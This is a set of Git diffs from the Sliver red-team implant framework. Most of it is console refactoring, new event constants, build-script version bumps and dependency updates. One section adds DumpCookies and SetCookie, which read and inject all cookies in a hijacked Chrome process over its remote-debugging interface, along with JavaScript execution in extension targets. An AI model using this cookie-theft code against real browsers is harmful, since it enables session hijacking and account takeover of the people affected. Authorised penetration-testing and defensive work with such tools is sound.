||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
|
||||
@@ -44,6 +44,7 @@ import (
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveTarget *ActiveTarget
|
||||
EventListeners *sync.Map
|
||||
BeaconTaskCallbacks map[string]BeaconTaskCallback
|
||||
BeaconTaskCallbacksMutex *sync.Mutex
|
||||
IsServer bool
|
||||
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
},
|
||||
EventListeners: &sync.Map{},
|
||||
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
|
||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||
IsServer: isServer,
|
||||
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
})
|
||||
|
||||
go con.EventLoop()
|
||||
go con.startEventLoop()
|
||||
go core.TunnelLoop(rpc)
|
||||
|
||||
err := con.App.Run()
|
||||
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
return err
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) EventLoop() {
|
||||
func (con *SliverConsoleClient) startEventLoop() {
|
||||
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
return
|
||||
}
|
||||
|
||||
go con.triggerEventListeners(event)
|
||||
|
||||
// Trigger event based on type
|
||||
echoed := false // Only echo the event once
|
||||
switch event.EventType {
|
||||
|
||||
case consts.CanaryEvent:
|
||||
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
msg := string(event.Data)
|
||||
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.JoinedEvent:
|
||||
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
case consts.LeftEvent:
|
||||
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.JobStoppedEvent:
|
||||
job := event.Job
|
||||
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
}
|
||||
con.PrintEventInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
echoed = true
|
||||
|
||||
}
|
||||
|
||||
con.triggerReactions(event)
|
||||
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
// Only render if we echoed the event
|
||||
if echoed {
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
|
||||
listener := make(chan *clientpb.Event, 100)
|
||||
listenerID, _ := uuid.NewV4()
|
||||
con.EventListeners.Store(listenerID.String(), listener)
|
||||
return listenerID.String(), listener
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
|
||||
value, ok := con.EventListeners.LoadAndDelete(listenerID)
|
||||
if ok {
|
||||
close(value.(chan *clientpb.Event))
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
|
||||
con.EventListeners.Range(func(key, value interface{}) bool {
|
||||
listener := value.(chan *clientpb.Event)
|
||||
listener <- event // Do not block while sending the event to the listener
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
reactions := core.Reactions.On(event.EventType)
|
||||
if len(reactions) == 0 {
|
||||
@@ -525,6 +567,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
|
||||
go spin.Until(con.App.Stdout(), message, ctrl)
|
||||
}
|
||||
|
||||
// FormatDateDelta - Generate formatted date string of the time delta between then and now
|
||||
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
|
||||
nextTime := t.Format(time.UnixDate)
|
||||
|
||||
var interval string
|
||||
|
||||
if t.Before(time.Now()) {
|
||||
if includeDate {
|
||||
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
|
||||
} else {
|
||||
interval = time.Since(t).Round(time.Second).String()
|
||||
}
|
||||
if color {
|
||||
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
|
||||
}
|
||||
} else {
|
||||
if includeDate {
|
||||
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
|
||||
} else {
|
||||
interval = time.Until(t).Round(time.Second).String()
|
||||
}
|
||||
if color {
|
||||
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
|
||||
}
|
||||
}
|
||||
return interval
|
||||
}
|
||||
|
||||
//
|
||||
// -------------------------- [ Active Target ] --------------------------
|
||||
//
|
||||
|
||||
@@ -90,7 +90,13 @@ const (
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
ExternalBuildEvent = "external-build"
|
||||
AcknowledgeBuildEvent = "external-acknowledge"
|
||||
ExternalBuildFailedEvent = "external-build-failed"
|
||||
ExternalBuildCompletedEvent = "external-build-completed"
|
||||
|
||||
// WireGuardNewPeer - New Wireguard peer added
|
||||
WireGuardNewPeer = "wireguard-newpeer"
|
||||
)
|
||||
|
||||
// Commands
|
||||
@@ -249,6 +255,9 @@ const (
|
||||
CursedConsole = "console"
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
CursedCookies = "cookies"
|
||||
|
||||
BuildersStr = "builders"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -3,14 +3,17 @@ package overlord
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -24,8 +27,11 @@ import (
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
|
||||
}
|
||||
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
var result []byte
|
||||
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
|
||||
evalTasks := chromedp.Tasks{
|
||||
chromedp.Evaluate(jsCode, &result),
|
||||
}
|
||||
err := chromedp.Run(extCtx, evalTasks)
|
||||
return result, err
|
||||
}
|
||||
|
||||
@@ -260,6 +269,68 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return extensionContexts, nil
|
||||
}
|
||||
|
||||
// DumpCookies - Dump all cookies from the remote debug target
|
||||
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
|
||||
var cookies []*network.Cookie
|
||||
var err error
|
||||
dumpCookieTasks := chromedp.Tasks{
|
||||
// read network values
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
cookies, err = network.GetAllCookies().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// for i, cookie := range cookies {
|
||||
// log.Printf("chrome cookie %d: %+v", i, cookie)
|
||||
// }
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
ctx, _ := chromedp.NewContext(taskCtx)
|
||||
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
|
||||
return cookies, err
|
||||
}
|
||||
return cookies, nil
|
||||
}
|
||||
|
||||
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
|
||||
var res string
|
||||
setCookieTasks := chromedp.Tasks{
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
// create cookie expiration
|
||||
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
|
||||
// add cookies to chrome
|
||||
for i := 0; i < len(cookies); i += 2 {
|
||||
err := network.SetCookie(cookies[i], cookies[i+1]).
|
||||
WithExpires(&expr).
|
||||
WithDomain("localhost").
|
||||
WithHTTPOnly(true).
|
||||
Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
// navigate to site
|
||||
// chromedp.Navigate(host),
|
||||
// read the returned values
|
||||
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
|
||||
}
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
ctx, _ := chromedp.NewContext(taskCtx)
|
||||
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Screenshot - Take a screenshot of a Chrome context
|
||||
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
|
||||
var result []byte
|
||||
|
||||
+2
-2
@@ -14,7 +14,7 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.4)
|
||||
commonmarker (0.23.6)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
@@ -232,7 +232,7 @@ GEM
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.6)
|
||||
nokogiri (1.13.9)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.22.0)
|
||||
|
||||
+3
-3
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.6"
|
||||
GARBLE_VER="1.18.0"
|
||||
GO_VER="1.19.3"
|
||||
GARBLE_VER="1.19.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
@@ -156,7 +156,7 @@ echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
|
||||
@@ -10,51 +10,51 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
github.com/chromedp/chromedp v0.8.6
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/gofrs/uuid v4.3.1+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.12.1
|
||||
github.com/onsi/gomega v1.10.0
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.8
|
||||
github.com/shirou/gopsutil/v3 v3.22.10
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.org/x/text v0.4.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.9
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.9
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
gorm.io/driver/mysql v1.4.4
|
||||
gorm.io/driver/postgres v1.4.5
|
||||
gorm.io/driver/sqlite v1.4.3
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.19.3
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -71,7 +71,6 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
@@ -82,7 +81,8 @@ require (
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
@@ -91,6 +91,7 @@ require (
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
@@ -99,11 +100,10 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.4 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
@@ -111,23 +111,25 @@ require (
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
modernc.org/libc v1.14.12 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.7 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
|
||||
modernc.org/libc v1.21.2 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
)
|
||||
+23
-9
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
go 1.18
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
@@ -10,34 +10,48 @@ require (
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.16.5
|
||||
github.com/onsi/gomega v1.20.2
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.28.0
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
